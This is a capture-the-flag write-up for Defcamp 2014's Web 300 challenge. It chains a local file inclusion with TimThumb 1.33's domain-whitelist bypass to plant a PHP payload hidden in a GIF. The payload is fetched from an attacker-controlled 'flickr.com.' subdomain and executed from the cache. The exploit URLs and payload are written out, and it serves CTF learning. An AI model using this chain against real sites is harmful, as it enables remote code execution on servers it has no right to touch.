Defcamp CTF Quals 2014 - Web 300 – Pigeon (300pts) writeup

The challenge description was: (y) 10.13.37.13

Visiting the link we are greeted with Mr. Mittens website:

Defcamp CTF Quals 2014 - Web 300 – Pigeon (300pts) writeup - 01

After checking the contact page we can see in the url that there is a LFI vulnerability where we can successfully load the content of files hosted on the server.

http://10.13.37.13/?page=contact.html

Still, while it's quite a big issue we can't do much from there. After checking the source of the page we can see something really interesting:

img src="tt.php?w=240&src=images/picture1.jpg"

tt.php ? Could that be TimThumb? Let's try to access this file directly with an invalid image file:

source is not a valid file
Query String : w=240&src=images/
TimThumb version : 1.33

It is TimThumb and it's the version 1.33 which is vulnerable to remote code injection, which is a pretty nasty problem because you can upload a shell in a couple steps:

  • take a valid image
  • append php shell
  • create a valid subdomain online
  • use TimThumb to grab your shell disguised as a valid image and it will be stored in the cache folder
  • generate the MD5 of the fullpath of your shell
  • find your shell in the cache folder with the name external_[MD5]

TimThumb 1.33 will strip the extension if it is PHP, but since we have a LFI with the page GET variable we can successfully execute the PHP script we are going to save on the server. My 'shell' wasn't really a shell, I was expecting all commands like system, shell_exec, exec, etc.. to be disabled. I just wanted to list files and folders first and see after that if I would need something more complicated. Here is the tiny PHP script I used:

<?php print_r(scandir($_GET['p'])); ?>

The script is expecting a variable p in the URL to point to a directory and list the content. Now let's append this script to a valid GIF.

mrt:~/d-ctf/web-300$ cat php-shell.php >> nerd.gif

mrt:~/d-ctf/web-300$ cp nerd.gif nerd

Now that we have our file, we are going to upload it on a free web hosting service. Most of them allow you to create subdomains and we need one being able to do so. After uploading the file online we go to the control panel of the hosting service and create a subdomain with one of the domain allowed in TimThumb 1.33.

                'flickr.com',
'staticflickr.com',
'picasa.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',
'imgur.com',
'imageshack.us',
'tinypic.com',

The reason we have to do so is because TimThumb 1.33 whitelist them and do not check properly for the domain in the URL given to the src GET variable. What this means is that if you have flickr.com for example anywhere in your URL TimThumb will still consider it as a valid domain since it does match a value in the whitelist. More information on markmaunder.com.

So we now have our image with our shell inside stored online without any extension on a domain matching one of the many entries of the whitelist. We just need to call tt.php and see if the file will be accepted.

http://10.13.37.13/tt.php?w=240&src=http://flickr.com.mrt-prodz.com/nerd

TimThumb displays our image without complaining! We can now access our script through the LFI and list the content of the folders as the following:

http://10.13.37.13/?page=cache/external_162f13e320b507f044695e2a95f90581b&p=./

162f13e320b507f044695e2a95f90581 is the MD5 of the full URL pointing to our image.

GIF87a2 ...[binary data of the GIF file]...
(
[0] => .
[1] => ..
[2] => 575b3f3f5318b2afbfe91ed860a4b10c.txt
[3] => cache
[4] => contact.html
[5] => css
[6] => home.html
[7] => images
[8] => index.php
[9] => js
[10] => tt.php
)

Interesting, what's in the file 575b3f3f5318b2afbfe91ed860a4b10c.txt

mrt:~/d-ctf/web-300$ wget http://10.13.37.13/575b3f3f5318b2afbfe91ed860a4b10c.txt

mrt:~/d-ctf/web-300$ cat 575b3f3f5318b2afbfe91ed860a4b10c.txt
johnnybravo

Sidenote: the MD5 of the filename is the MD5 hash of timthumb.php

We got our flag:

johnnybravo